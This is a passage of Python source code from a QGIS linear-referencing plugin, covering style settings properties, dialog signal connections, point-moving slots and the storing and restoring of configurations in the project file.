_showLyrBackReferenceFieldName = None\n\n        @property\n        def showLyrBackReferenceFieldName(self):\n            \"\"\"Name of Back-Reference-Field in Show-Layer for referencing Data-Layer\"\"\"\n            return self._showLyrBackReferenceFieldName\n\n        @showLyrBackReferenceFieldName.setter\n        def showLyrBackReferenceFieldName(self, value):\n            self._showLyrBackReferenceFieldName = value\n            qgis.core.QgsProject.instance().setDirty(True)\n\n        # Dot\n        _ref_line_line_style = 3\n\n        @property\n        def ref_line_line_style(self):\n            \"\"\"Style of highlighted reference-line\"\"\"\n            return int(self._ref_line_line_style)\n\n        @ref_line_line_style.setter\n        def ref_line_line_style(self, value):\n            self._ref_line_line_style = int(value)\n            qgis.core.QgsProject.instance().setDirty(True)\n\n        _ref_line_width = 3\n\n        @property\n        def ref_line_width(self):\n            \"\"\"Width of highlighted reference-line\"\"\"\n            return int(self._ref_line_width)\n\n        @ref_line_width.setter\n        def ref_line_width(self, value):\n            self._ref_line_width = int(value)\n            qgis.core.QgsProject.instance().setDirty(True)\n\n        _ref_line_color = '#96ffffff'  # semi-transparent white\n\n        @property\n        def ref_line_color(self):\n            \"\"\"Width of highlighted reference-line\"\"\"\n            return self._ref_line_color\n\n        @ref_line_color.setter\n        def ref_line_color(self, value):\n            self._ref_line_color = value\n            qgis.core.QgsProject.instance().setDirty(True)\n\n        # ICON_CIRCLE\n        _pt_edit_icon_type = 4\n\n        @property\n        def pt_edit_icon_type(self):\n            \"\"\"Icon-Type for Edit-Point-Canvas-Graphic\"\"\"\n            return int(self._pt_edit_icon_type)\n\n        @pt_edit_icon_type.setter\n        def pt_edit_icon_type(self, value):\n            self._pt_edit_icon_type = int(value)\n            qgis.core.QgsProject.instance().setDirty(True)\n\n        _pt_edit_icon_size = 15\n\n        @property\n        def pt_edit_icon_size(self):\n            \"\"\"Size for Edit-Point-Canvas-Graphic\"\"\"\n            return int(self._pt_edit_icon_size)\n\n        @pt_edit_icon_size.setter\n        def pt_edit_icon_size(self, value):\n            self._pt_edit_icon_size = int(value)\n            qgis.core.QgsProject.instance().setDirty(True)\n\n        _pt_edit_pen_width = 3\n\n        @property\n        def pt_edit_pen_width(self):\n            \"\"\"Pen-Width for Edit-Point-Canvas-Graphic\"\"\"\n            return int(self._pt_edit_pen_width)\n\n        @pt_edit_pen_width.setter\n        def pt_edit_pen_width(self, value):\n            self._pt_edit_pen_width = int(value)\n            qgis.core.QgsProject.instance().setDirty(True)\n\n        _pt_edit_color = '#ffff00ff'  # magenta\n\n        @property\n        def pt_edit_color(self):\n            \"\"\"Color for Edit-Point-Canvas-Graphic\"\"\"\n            return self._pt_edit_color\n\n        @pt_edit_color.setter\n        def pt_edit_color(self, value):\n            self._pt_edit_color = value\n            qgis.core.QgsProject.instance().setDirty(True)\n\n        _pt_edit_fill_color = '#00ffffff'  # white transparent\n\n        @property\n        def pt_edit_fill_color(self):\n            \"\"\"Fill-Color for Edit-Point-Canvas-Graphic\"\"\"\n            return self._pt_edit_fill_color\n\n        @pt_edit_fill_color.setter\n        def pt_edit_fill_color(self, value):\n            self._pt_edit_fill_color = value\n            qgis.core.QgsProject.instance().setDirty(True)\n\n        # ICON_BOX\n        _pt_measure_icon_type = 3\n\n        @property\n        def pt_measure_icon_type(self):\n            \"\"\"Icon-Type for Measure-Canvas-Graphic\"\"\"\n            return int(self._pt_measure_icon_type)\n\n        @pt_measure_icon_type.setter\n        def pt_measure_icon_type(self, value):\n            self._pt_measure_icon_type = int(value)\n            qgis.core.QgsProject.instance().setDirty(True)\n\n        _pt_measure_icon_size = 10\n\n        @property\n        def pt_measure_icon_size(self):\n            \"\"\"Size for Measure-Canvas-Graphic\"\"\"\n            return int(self._pt_measure_icon_size)\n\n        @pt_measure_icon_size.setter\n        def pt_measure_icon_size(self, value):\n            self._pt_measure_icon_size = int(value)\n            qgis.core.QgsProject.instance().setDirty(True)\n\n        _pt_measure_pen_width = 2\n\n        @property\n        def pt_measure_pen_width(self):\n            \"\"\"Pen-Width for Measure-Canvas-Graphic\"\"\"\n            return int(self._pt_measure_pen_width)\n\n        @pt_measure_pen_width.setter\n        def pt_measure_pen_width(self, value):\n            self._pt_measure_pen_width = int(value)\n            qgis.core.QgsProject.instance().setDirty(True)\n\n        _pt_measure_color = '#ffff0000'  # red\n\n        @property\n        def pt_measure_color(self):\n            \"\"\"Color for Measure-Canvas-Graphic\"\"\"\n            return self._pt_measure_color\n\n        @pt_measure_color.setter\n        def pt_measure_color(self, value):\n            self._pt_measure_color = value\n            qgis.core.QgsProject.instance().setDirty(True)\n\n        _pt_measure_fill_color = '#00ffffff'  # white transparent\n\n        @property\n        def pt_measure_fill_color(self):\n            \"\"\"Fill-Color for Measure-Canvas-Graphic\"\"\"\n            return self._pt_measure_fill_color\n\n        @pt_measure_fill_color.setter\n        def pt_measure_fill_color(self, value):\n            self._pt_measure_fill_color = value\n            qgis.core.QgsProject.instance().setDirty(True)\n\n    class DeferedSettings:\n        \"\"\"template for self.ds, defered settings like layers, fields...\"\"\"\n        # Rev. 2023-04-28\n        refLyr = None\n        refLyrPkField = None\n        dataLyr = None\n        dataLyrIdField = None\n        dataLyrReferenceField = None\n        dataLyrMeasureField = None\n        showLyr = None\n        showLyrBackReferenceField = None\n\n    class RuntimeSettings:\n        \"\"\"template for self.rs, Runtime-Settings\"\"\"\n        # Rev. 2023-04-28\n\n        # one of the possible toolmodes, see self::tool_modes\n        tool_mode = None\n\n        # int (allways): fid of the current snapped reference-line\n        snapped_ref_fid = None\n\n        # pk (mostly identical to FID) of the current edited Feature in Data-Layer\n        edit_pk = None\n\n        # current measure-result, distance of the snapped point to the start-point of the snapped reference-line\n        current_measure = None\n\n        # for interacive move of the measured point\n        last_measure = None\n\n        # PointXY, set via canvasPressEvent\n        mouse_down_point = None\n\n        # PointXY, set via canvasReleaseEvent\n        mouse_up_point = None\n\n        # list of pre-selected Data-Layer-PKs for edit\n        selected_pks = []\n\n        #  for display of coordinates and measurements, dependend on canvas-projection\n        num_digits = 1\n\n        # register all signal-slot-connections to the three layer for later accurate disconnects\n        data_layer_connections = []\n        reference_layer_connections = []\n        show_layer_connections = []\n\n    class CheckFlags:\n        \"\"\"\"template for self.cf, often needed group-flags, set to False/True in self.check_settings if settings/capabilities/interim results are sufficient\"\"\"\n        # Rev. 2023-04-28\n        reference_layer_defined = False\n        reference_layer_complete = False\n        data_layer_defined = False\n        data_layer_complete = False\n        show_layer_defined = False\n        show_layer_complete = False\n        measure_completed = False\n        insert_enabled = False\n        update_enabled = False\n        delete_enabled = False\n\n    def __init__(self, iface: qgis.gui.QgisInterface):\n        \"\"\"initialize\n        :param iface: qgis.gui.QgisInterface \"Abstract base class defining interfaces exposed by QgisApp and made available to plugins.\"\n        \"\"\"\n        # Rev. 2023-04-28\n        qgis.gui.QgsMapToolEmitPoint.__init__(self, iface.mapCanvas())\n\n        self.iface = iface\n        \"\"\"qgis.gui.QgisInterface: Access to QGis-Qt-Application\"\"\"\n\n        # possible values for rs.tool_mode, key: rs.tool_mode, value: Explanation for status-bar\n        self.tool_modes = {\n            'init': QtCore.QCoreApplication.translate('PolEvt', \"Initializing, please wait...\"),\n            'measuring': QtCore.QCoreApplication.translate('PolEvt', \"hover on Reference-Layer-feature to show coords, click to take a measurement...\"),\n            'after_measure': QtCore.QCoreApplication.translate('PolEvt', \"Measurement taken; edit results/insert feature or resume...\"),\n            'before_move_point': QtCore.QCoreApplication.translate('PolEvt', \"drag and drop measured point on selected line...\"),\n            'move_point': QtCore.QCoreApplication.translate('PolEvt', \"drop the point at the desired position of the selected line...\"),\n            'disabled': QtCore.QCoreApplication.translate('PolEvt', \"no Reference-Layer configured...\"),\n            'select_features': QtCore.QCoreApplication.translate('PolEvt', \"select features from Show-Layer with point or rect; [ctrl] remove from, [shift] add to, [ ] replace current feature-selection\"),\n        }\n\n        # initialize the four settings-\"containers\" with blank \"templates\"\n        self.ss = self.StoredSettings()\n        self.ds = self.DeferedSettings()\n        self.cf = self.CheckFlags()\n        self.rs = self.RuntimeSettings()\n\n        self.restore_settings()\n\n        # visualize selected point for edit\n        self.vm_pt_edit = qgis.gui.QgsVertexMarker(self.iface.mapCanvas())\n        self.vm_pt_edit.hide()\n\n        # visualize snapped point on reference-line\n        self.vm_pt_measure = qgis.gui.QgsVertexMarker(self.iface.mapCanvas())\n        self.vm_pt_measure.hide()\n\n        # visualize snapped reference-line\n        self.rb_ref = qgis.gui.QgsRubberBand(self.iface.mapCanvas(), qgis.core.QgsWkbTypes.LineGeometry)\n        self.rb_ref.hide()\n\n        # selection-rectangle\n        self.rb_selection_rect = qgis.gui.QgsRubberBand(self.iface.mapCanvas())\n        self.rb_selection_rect.hide()\n\n        self.refresh_canvas_graphics()\n\n        self.snap_indicator = qgis.gui.QgsSnapIndicator(self.iface.mapCanvas())\n        \"\"\"qgis.gui.QgsSnapIndicator: the tiny snap-icon\"\"\"\n\n        self.my_dialogue = dialogs.PolDialog(iface)\n        self.my_dialogue.dialog_close.connect(self.s_dialog_close)\n\n        # Section \"Measure\"\n        self.my_dialogue.measure_grb.toggled.connect(self.s_measure_grb_toggle)\n        self.my_dialogue.qcbn_snapped_ref_fid.currentIndexChanged.connect(self.s_zoom_to_ref_feature)\n        self.my_dialogue.pb_open_ref_form.clicked.connect(self.s_open_ref_form)\n        self.my_dialogue.pb_zoom_to_ref_feature.clicked.connect(self.s_zoom_to_ref_feature)\n\n        self.my_dialogue.dspbx_measure.valueChanged.connect(self.s_measure_edited)\n        self.my_dialogue.dspbx_measure_fract.valueChanged.connect(self.s_measure_fract_edited)\n\n        self.my_dialogue.tbtn_move_start.clicked.connect(self.s_move_start)\n        self.my_dialogue.tbtn_move_down.clicked.connect(self.s_move_down)\n\n        self.my_dialogue.pbtn_move_point.clicked.connect(self.s_move_point)\n\n        self.my_dialogue.tbtn_move_up.clicked.connect(self.s_move_up)\n        self.my_dialogue.tbtn_move_end.clicked.connect(self.s_move_end)\n        self.my_dialogue.pb_pan_to_measure.clicked.connect(self.s_pan_to_measure)\n        self.my_dialogue.pbtn_resume_measure.clicked.connect(self.s_resume_measure)\n\n        # Section \"Edit\"\n        self.my_dialogue.edit_grb.toggled.connect(self.s_edit_grb_toggle)\n        self.my_dialogue.pbtn_update_feature.clicked.connect(self.s_update_feature)\n        self.my_dialogue.pbtn_insert_feature.clicked.connect(self.s_insert_feature)\n        self.my_dialogue.pbtn_delete_feature.clicked.connect(self.s_delete_feature)\n\n        # Section \"Feature-Selection\":\n        self.my_dialogue.selection_grb.toggled.connect(self.s_toggle_selection_grb)\n        self.my_dialogue.pbtn_select_features.clicked.connect(self.s_select_features)\n        self.my_dialogue.pbtn_insert_all_features.clicked.connect(self.s_append_all_features)\n        self.my_dialogue.pbtn_insert_selected_data_features.clicked.connect(self.s_append_data_features)\n        self.my_dialogue.pbtn_insert_selected_show_features.clicked.connect(self.s_append_show_features)\n        self.my_dialogue.pbtn_zoom_to_feature_selection.clicked.connect(self.s_zoom_to_feature_selection)\n        self.my_dialogue.pbtn_clear_features.clicked.connect(self.s_clear_feature_selection)\n\n        # Section \"Layers and Fields\"\n        self.my_dialogue.layers_and_fields_grb.toggled.connect(self.s_toggle_layers_and_fields_grb)\n        self.my_dialogue.qcbn_reference_layer.currentIndexChanged.connect(self.s_change_reference_layer)\n        self.my_dialogue.qcbn_reference_layer_id_field.currentIndexChanged.connect(self.s_change_reference_layer_id_field)\n        self.my_dialogue.pb_open_ref_tbl.clicked.connect(self.s_open_ref_tbl)\n        self.my_dialogue.pb_call_ref_disp_exp_dlg.clicked.connect(self.s_define_ref_lyr_display_expression)\n\n        self.my_dialogue.qcbn_data_layer.currentIndexChanged.connect(self.s_change_data_layer)\n        self.my_dialogue.pb_open_data_tbl.clicked.connect(self.s_open_data_tbl)\n        self.my_dialogue.pbtn_create_data_layer.clicked.connect(self.s_create_data_layer)\n        self.my_dialogue.pb_call_data_disp_exp_dlg.clicked.connect(self.s_define_data_lyr_display_expression)\n\n        self.my_dialogue.qcbn_data_layer_id_field.currentIndexChanged.connect(self.s_change_data_layer_id_field)\n        self.my_dialogue.qcbn_data_layer_reference_field.currentIndexChanged.connect(self.s_change_data_layer_reference_field)\n        self.my_dialogue.qcbn_data_layer_measure_field.currentIndexChanged.connect(self.s_change_data_layer_measure_field)\n        self.my_dialogue.qcbn_show_layer.currentIndexChanged.connect(self.s_change_show_layer)\n        self.my_dialogue.pb_open_show_tbl.clicked.connect(self.s_open_show_lyr_tbl)\n        self.my_dialogue.pb_call_show_disp_exp_dlg.clicked.connect(self.s_define_show_lyr_display_expression)\n        self.my_dialogue.pbtn_create_show_layer.clicked.connect(self.s_create_show_layer)\n        self.my_dialogue.qcbn_show_layer_back_reference_field.currentIndexChanged.connect(self.s_change_show_layer_back_reference_field)\n\n        # Section \"Styles\"\n        self.my_dialogue.style_grb.toggled.connect(self.s_toggle_style_gb)\n        self.my_dialogue.qcb_pt_measure_icon_type.currentIndexChanged.connect(self.s_change_pt_measure_icon_type)\n        self.my_dialogue.qspb_pt_measure_icon_size.valueChanged.connect(self.s_change_pt_measure_icon_size)\n        self.my_dialogue.qspb_pt_measure_pen_width.valueChanged.connect(self.s_change_pt_measure_pen_width)\n        self.my_dialogue.qpb_pt_measure_color.color_changed.connect(self.s_change_pt_measure_color)\n        self.my_dialogue.qpb_pt_measure_fill_color.color_changed.connect(self.s_change_pt_measure_fill_color)\n        self.my_dialogue.qcb_pt_edit_icon_type.currentIndexChanged.connect(self.s_change_pt_edit_icon_type)\n        self.my_dialogue.qspb_pt_edit_icon_size.valueChanged.connect(self.s_change_pt_edit_icon_size)\n        self.my_dialogue.qspb_pt_edit_pen_width.valueChanged.connect(self.s_change_pt_edit_pen_width)\n        self.my_dialogue.qpb_pt_edit_color.color_changed.connect(self.s_change_pt_edit_color)\n        self.my_dialogue.qpb_pt_edit_fill_color.color_changed.connect(self.s_change_pt_edit_fill_color)\n        self.my_dialogue.qpb_ref_line_color.color_changed.connect(self.s_change_ref_line_color)\n        self.my_dialogue.qcb_ref_line_line_style.currentIndexChanged.connect(self.s_change_ref_line_line_style)\n        self.my_dialogue.qspb_ref_line_width.valueChanged.connect(self.s_change_ref_line_width)\n\n        # Section \"Store/Restore Configuration\":\n        self.my_dialogue.store_configurations_gb.toggled.connect(self.s_toggle_configurations_gb)\n        self.my_dialogue.pb_store_configuration.clicked.connect(self.s_store_configuration)\n        self.my_dialogue.pb_restore_configuration.clicked.connect(self.s_restore_configuration)\n        self.my_dialogue.pb_delete_configuration.clicked.connect(self.s_delete_configuration)\n        self.my_dialogue.lw_stored_settings.itemDoubleClicked.connect(self.s_restore_configuration)\n\n        self.check_settings()\n\n        self.iface.addDockWidget(QtCore.Qt.RightDockWidgetArea, self.my_dialogue)\n        self.my_dialogue.setFloating(True)\n        start_pos_x = int(self.iface.mainWindow().x() + 0.15 * self.iface.mainWindow().width())\n        start_pos_y = int(self.iface.mainWindow().y() + 0.15 * self.iface.mainWindow().height())\n        self.my_dialogue.setGeometry(start_pos_x, start_pos_y, 530, 440)\n\n    def s_move_start(self):\n        \"\"\"moves point to start of reference-line\"\"\"\n        if self.cf.measure_completed:\n            ref_feature = self.ds.refLyr.getFeature(self.rs.snapped_ref_fid)\n            if ref_feature and ref_feature.isValid() and ref_feature.hasGeometry() and not ref_feature.geometry().isEmpty():\n                self.rs.current_measure = 0\n                self.draw_measured_point(self.rs.snapped_ref_fid, self.rs.current_measure)\n                self.dlg_show_measure(self.rs.snapped_ref_fid, self.rs.current_measure)\n\n    def s_move_down(self):\n        \"\"\"moves point in direction start of reference-line\"\"\"\n        if self.cf.measure_completed:\n            delta = 1\n            if self.ds.refLyr.crs().isGeographic():\n                delta *= 1e-4\n\n            if QtWidgets.QApplication.keyboardModifiers() == QtCore.Qt.ControlModifier:\n                delta *= 10\n            elif QtWidgets.QApplication.keyboardModifiers() == QtCore.Qt.ShiftModifier:\n                delta *= 100\n            elif QtWidgets.QApplication.keyboardModifiers() == (QtCore.Qt.ShiftModifier | QtCore.Qt.ControlModifier):\n                delta *= 1000\n\n            ref_feature = self.ds.refLyr.getFeature(self.rs.snapped_ref_fid)\n            if ref_feature and ref_feature.isValid() and ref_feature.hasGeometry() and not ref_feature.geometry().isEmpty():\n                self.rs.current_measure = max(0, self.rs.current_measure - delta)\n                self.draw_measured_point(self.rs.snapped_ref_fid, self.rs.current_measure)\n                self.dlg_show_measure(self.rs.snapped_ref_fid, self.rs.current_measure)\n\n    def s_move_up(self):\n        \"\"\"moves point in direction start of reference-line\"\"\"\n        if self.cf.measure_completed:\n            delta = 1\n            if self.ds.refLyr.crs().isGeographic():\n                delta *= 1e-4\n\n            if QtWidgets.QApplication.keyboardModifiers() == QtCore.Qt.ControlModifier:\n                delta *= 10\n            elif QtWidgets.QApplication.keyboardModifiers() == QtCore.Qt.ShiftModifier:\n                delta *= 100\n            elif QtWidgets.QApplication.keyboardModifiers() == (QtCore.Qt.ShiftModifier | QtCore.Qt.ControlModifier):\n                delta *= 1000\n\n            ref_feature = self.ds.refLyr.getFeature(self.rs.snapped_ref_fid)\n            if ref_feature and ref_feature.isValid() and ref_feature.hasGeometry() and not ref_feature.geometry().isEmpty():\n                self.rs.current_measure = min(ref_feature.geometry().length(), self.rs.current_measure + delta)\n                self.draw_measured_point(self.rs.snapped_ref_fid, self.rs.current_measure)\n                self.dlg_show_measure(self.rs.snapped_ref_fid, self.rs.current_measure)\n\n    def s_move_end(self):\n        \"\"\"moves point to end of reference-line\"\"\"\n        if self.cf.measure_completed:\n            ref_feature = self.ds.refLyr.getFeature(self.rs.snapped_ref_fid)\n            if ref_feature and ref_feature.isValid() and ref_feature.hasGeometry() and not ref_feature.geometry().isEmpty():\n                self.rs.current_measure = ref_feature.geometry().length()\n                self.draw_measured_point(self.rs.snapped_ref_fid, self.rs.current_measure)\n                self.dlg_show_measure(self.rs.snapped_ref_fid, self.rs.current_measure)\n\n    def s_move_point(self, checked: bool):\n        \"\"\"toggle tool-mode for change current measure interactive on canvas\n        :param checked: checked-status of checkable button for toggle\n        \"\"\"\n        if self.cf.measure_completed:\n            if checked:\n                self.check_settings('before_move_point')\n            else:\n                self.vm_pt_edit.hide()\n                self.check_settings('after_measure')\n\n            self.iface.mapCanvas().setMapTool(self)\n            self.dlg_refresh_measure_section()\n        else:\n            self.push_messages(warning_msg=QtCore.QCoreApplication.translate('PolEvt', \"No completed measure yet...\"))\n\n    def s_toggle_configurations_gb(self, status):\n        \"\"\"Toggle Group-Box in Dialog\n        :param status: isChecked()-State\n        \"\"\"\n        # Rev. 2023-05-07\n        if status:\n            # 2147483647 ➜ max. possible value, else \"OverflowError: argument 1 overflowed: value must be in the range -2147483648 to 2147483647\"\n            self.my_dialogue.store_configurations_gb.setMaximumHeight(2147483647)\n        else:\n            self.my_dialogue.store_configurations_gb.setMaximumHeight(20)\n\n    def s_restore_configuration(self):\n        \"\"\"restores stored configuration from project-file\n        takes the selected Item from QListWidget\n        uses its label, which serves as client-side unique identifier,\n        in qgis-project-file the storage is under XML-Path LinearReferencing/PolEvtStoredSettings/setting_{setting_idx} with setting_idx in range 0...9\n        \"\"\"\n        # Rev. 2023-05-08\n\n        try_it = True\n        did_it = False\n        success_msg = ''\n        critical_msg = ''\n        info_msg = ''\n        warning_msg = ''\n\n        row_idx = self.my_dialogue.lw_stored_settings.currentRow()\n        if row_idx < 0:\n            try_it = False\n            info_msg = QtCore.QCoreApplication.translate('PolEvt', \"please select an entry from the list above...\")\n        else:\n            selected_item = self.my_dialogue.lw_stored_settings.item(row_idx)\n            selected_label = selected_item.data(256)\n            for setting_idx in range(self._num_storable_settings):\n                key = f\"/PolEvtStoredSettings/setting_{setting_idx}/setting_label\"\n                setting_label, type_conversion_ok = qgis.core.QgsProject.instance().readEntry('LinearReferencing', key)\n                if setting_label and type_conversion_ok:\n                    if setting_label == selected_label:\n                        self.ss = self.StoredSettings()\n                        self.ds = self.DeferedSettings()\n                        property_list = [prop for prop in dir(self.StoredSettings) if prop.startswith('_') and not prop.startswith('__')]\n\n                        for prop_name in property_list:\n                            key = f\"/PolEvtStoredSettings/setting_{setting_idx}/{prop_name}\"\n                            restored_value, type_conversion_ok = qgis.core.QgsProject.instance().readEntry('LinearReferencing', key)\n                            if restored_value and type_conversion_ok:\n                                setattr(self.ss, prop_name, restored_value)\n\n                        did_it = True\n                        success_msg = qt_format(QtCore.QCoreApplication.translate('PolEvt', \"Configuration {apos}{0}{apos} restored...\"),setting_label)\n                        break\n\n        if try_it and did_it:\n            self.refresh_gui()\n\n        self.push_messages(success_msg, info_msg, warning_msg, critical_msg)\n\n    def push_messages(self, success_msg: str = None, info_msg: str = None, warning_msg: str = None, critical_msg: str = None):\n        \"\"\"pushes four kind of messages to messageBar\n        :param success_msg:\n        :param info_msg:\n        :param warning_msg:\n        :param critical_msg:\n        \"\"\"\n        # Rev. 2023-05-23\n        debug_pos = gdp(2)\n        title = f\"LinearReferencing ({debug_pos})\"\n\n        # descending by duration\n\n        if critical_msg:\n            self.iface.messageBar().pushMessage(title, critical_msg, level=qgis.core.Qgis.Critical, duration=20)\n\n        if warning_msg:\n            self.iface.messageBar().pushMessage(title, warning_msg, level=qgis.core.Qgis.Warning, duration=10)\n\n        if info_msg:\n            self.iface.messageBar().pushMessage(title, info_msg, level=qgis.core.Qgis.Info, duration=5)\n\n        if success_msg:\n            self.iface.messageBar().pushMessage(title, success_msg, level=qgis.core.Qgis.Success, duration=3)\n\n    def s_delete_configuration(self):\n        \"\"\"deletes stored configuration from project-file\n        takes the selected Item from QListWidget\n        uses its label, which serves as client-side unique identifier,\n        in qgis-project-file the storage is under XML-Path LinearReferencing/PolEvtStoredSettings/setting_{setting_idx} with setting_idx in range 0...9\n        asks for confirmation\n        \"\"\"\n        # Rev. 2023-05-08\n\n        critical_msg = ''\n        success_msg = ''\n        info_msg = ''\n        warning_msg = ''\n\n        row_idx = self.my_dialogue.lw_stored_settings.currentRow()\n        if row_idx < 0:\n            info_msg = QtCore.QCoreApplication.translate('PolEvt', \"please select an entry from the list above...\")\n        else:\n            selected_item = self.my_dialogue.lw_stored_settings.item(row_idx)\n\n            selected_label = selected_item.data(256)\n            for setting_idx in range(self._num_storable_settings):\n                # uses the label as unique identifier, although no \"unique contraint\" with this value possible in XML-Structure of project-file\n                key = f\"/PolEvtStoredSettings/setting_{setting_idx}/setting_label\"\n                setting_label, type_conversion_ok = qgis.core.QgsProject.instance().readEntry('LinearReferencing', key)\n                if setting_label and type_conversion_ok:\n                    if setting_label == selected_label:\n                        dialog_result = QtWidgets.QMessageBox.question(\n                            self.my_dialogue,\n                            f\"LinearReferencing ({gdp()})\",\n                            qt_format(QtCore.QCoreApplication.translate('PolEvt', \"Delete configuration {apos}{0}{apos}?\"),setting_label),\n                            buttons=QtWidgets.QMessageBox.Yes | QtWidgets.QMessageBox.Cancel,\n                            defaultButton=QtWidgets.QMessageBox.Yes\n                        )\n\n                        if dialog_result == QtWidgets.QMessageBox.Yes:\n                            del_key = f\"/PolEvtStoredSettings/setting_{setting_idx}\"\n                            qgis.core.QgsProject.instance().removeEntry('LinearReferencing', del_key)\n                            self.dlg_refresh_stored_settings_section()\n                            success_msg = qt_format(QtCore.QCoreApplication.translate('PolEvt', \"Configuration {apos}{0}{apos} deleted...\"),setting_label)\n                        else:\n                            info_msg = QtCore.QCoreApplication.translate('PolEvt', \"Canceled by user...\")\n\n        self.push_messages(success_msg, info_msg, warning_msg, critical_msg)\n\n    def s_store_configuration(self):\n        \"\"\"stores the current configuration in project-file\n        prompts user to enter a label, which serves as client-side unique identifier,\n        in qgis-project-file the storage is under XML-Path LinearReferencing/PolEvtStoredSettings/setting_{setting_idx} with setting_idx in range 0...9\n        asks for confirmation, if the label already exists\"\"\"\n        # Rev. 2023-05-08\n        try_it = True\n        critical_msg = ''\n        success_msg = ''\n        info_msg = ''\n        warning_msg = ''\n        row_idx = self.my_dialogue.lw_stored_settings.currentRow()\n        if row_idx < 0:\n            default_label = datetime.date.today().strftime('%Y-%m-%d')\n        else:\n            # convenience:  take selected ListItem for overwrite\n            selected_item = self.my_dialogue.lw_stored_settings.item(row_idx)\n            default_label = selected_item.data(256)\n\n        new_label, ok = QtWidgets.QInputDialog.getText(None, f\"LinearReferencing ({gdp()})\", QtCore.QCoreApplication.translate('PolEvt', \"Label for configuration:\"), QtWidgets.QLineEdit.Normal, default_label)\n        if not ok or not new_label:\n            info_msg = QtCore.QCoreApplication.translate('PolEvt', \"Canceled by user...\")\n        else:\n            new_idx = None\n            not_used_idx = []\n            for setting_idx in range(self._num_storable_settings):\n                key = f\"/PolEvtStoredSettings/setting_{setting_idx}/setting_label\"\n                old_label, type_conversion_ok = qgis.core.QgsProject.instance().readEntry('LinearReferencing', key)\n\n                if old_label and type_conversion_ok:\n                    if old_label == new_label:\n                        dialog_result = QtWidgets.QMessageBox.question(\n                            None,\n                            f\"LinearReferencing ({gdp()})\",\n                            qt_format(QtCore.QCoreApplication.translate('PolEvt', \"Replace configuration {apos}{0}{apos}?\"),new_label),\n                            buttons=QtWidgets.QMessageBox.Yes | QtWidgets.QMessageBox.Cancel,\n                            defaultButton=QtWidgets.QMessageBox.Yes\n                        )\n\n                        if dialog_result == QtWidgets.QMessageBox.Yes:\n                            try_it = True\n                            new_idx = setting_idx\n                        else:\n                            try_it = False\n                            info_msg = QtCore.QCoreApplication.translate('PolEvt', \"Canceled by user...\")\n                else:\n                    not_used_idx.append(setting_idx)\n\n            # no stored settings with label == new_label found\n            if new_idx is None:\n                if not_used_idx:\n                    # take the first possible un-used one\n                    new_idx = not_used_idx.pop(0)\n                else:\n                    # or no store, if already _num_storable_settings configurations have been stored\n                    try_it = False\n                    critical_msg = qt_format(QtCore.QCoreApplication.translate('PolEvt', \"number of stored settings exceeds maximum ({0})...\"),self._num_storable_settings)\n\n            if try_it:\n                property_dict = {prop: getattr(self.ss, prop) for prop in dir(self.StoredSettings) if prop.startswith('_') and not prop.startswith('__')}\n\n                for prop_name in property_dict:\n                    prop_value = property_dict[prop_name]\n                    # other key then PolEvt\n                    key = f\"/PolEvtStoredSettings/setting_{new_idx}/{prop_name}\"\n                    qgis.core.QgsProject.instance().writeEntry('LinearReferencing', key, prop_value)\n\n                key = f\"/PolEvtStoredSettings/setting_{new_idx}/setting_label\"\n                qgis.core.QgsProject.instance().writeEntry('LinearReferencing', key, new_label)\n\n                self.dlg_refresh_stored_settings_section()\n                success_msg = qt_format(QtCore.QCoreApplication.translate('PolEvt', \"Current configuration stored under {apos}{0}{apos}...\"),new_label)\n\n        self.push_messages(success_msg, info_msg, warning_msg, critical_msg)\n\n    def s_toggle_style_gb(self, status):\n        \"\"\"Toggle Group-Box in Dialog\n        :param status: isChecked()-State\n        \"\"\"\n        # Rev. 2023-05-03\n        if status:\n            self.my_dialogue.style_grb.setMaximumHeight(2147483647)\n        else:\n            self.my_dialogue.style_grb.setMaximumHeight(20)\n\n    def s_toggle_layers_and_fields_grb(self, status):\n        \"\"\"Toggle Group-Box in Dialog\n        :param status: isChecked()-State\n        \"\"\"\n        # Rev. 2023-05-03\n        if status:\n            self.my_dialogue.layers_and_fields_grb.setMaximumHeight(2147483647)\n        else:\n            self.my_dialogue.layers_and_fields_grb.setMaximumHeight(20)\n\n    def s_toggle_selection_grb(self, status):\n        \"\"\"Toggle Group-Box in Dialog\n        :param status: isChecked()-State\n        \"\"\"\n        # Rev. 2023-05-03\n        if status:\n            # no vertical limit\n            self.my_dialogue.selection_grb.setMaximumHeight(2147483647)\n        else:\n            self.my_dialogue.selection_grb.setMaximumHeight(20)\n\n    def s_measure_grb_toggle(self, status):\n        \"\"\"Toggle Group-Box in Dialog\n        :param status: isChecked()-State\n        \"\"\"\n        # Rev. 2023-05-03\n        if status:\n            self.my_dialogue.measure_grb.setMaximumHeight(2147483647)\n        else:\n            self.my_dialogue.measure_grb.setMaximumHeight(20)\n\n    def s_edit_grb_toggle(self, status):\n        \"\"\"Toggle Group-Box in Dialog\n        :param status: isChecked()-State\n        \"\"\"\n        # Rev. 2023-05-03\n        if status:\n            self.my_dialogue.edit_grb.setMaximumHeight(2147483647)\n        else:\n            self.my_dialogue.edit_grb.setMaximumHeight(20)\n\n    def s_change_ref_line_color(self, color: str):\n        \"\"\"change color of reference-line\n        :param color: color in HexArgb-Format\n        \"\"\"\n        # Rev. 2023-04-28\n        self.ss.ref_line_color = color\n        self.refresh_canvas_graphics()\n\n    def s_change_ref_line_width(self, line_width: int):\n        \"\"\"change width of reference-line\n        :param line_width: width in pixel\n        \"\"\"\n        # Rev. 2023-04-28\n        self.ss.ref_line_width = line_width\n        self.refresh_canvas_graphics()\n\n    def s_change_ref_line_line_style(self):\n        \"\"\"change style of reference-line\"\"\"\n        # {0: \"None\", 1: \"Solid\", 2: \"Dash\", 3: \"Dot\", 4: \"DashDot\", 5: \"DashDotDot\"}\n        # Rev. 2023-04-28\n        self.ss.ref_line_line_style = self.my_dialogue.qcb_ref_line_line_style.currentData()\n        self.refresh_canvas_graphics()\n\n    def s_change_pt_edit_pen_width(self, pen_width: int):\n        \"\"\"change pen-width of edit-canvas-graphic (Point-Symbol)\n        :param pen_width: width in pixel\n        \"\"\"\n        # Rev. 2023-04-28\n        self.ss.pt_edit_pen_width = pen_width\n        self.refresh_canvas_graphics()\n\n    def s_change_pt_edit_icon_size(self, icon_size: int):\n        \"\"\"change icon-Size of edit-canvas-graphic (Point-Symbol)\n        :param icon_size: size in pixel\n        \"\"\"\n        # Rev. 2023-04-28\n        self.ss.pt_edit_icon_size = icon_size\n        self.refresh_canvas_graphics()\n\n    def s_change_pt_edit_icon_type(self):\n        \"\"\"change icon_type of edit-canvas-graphic 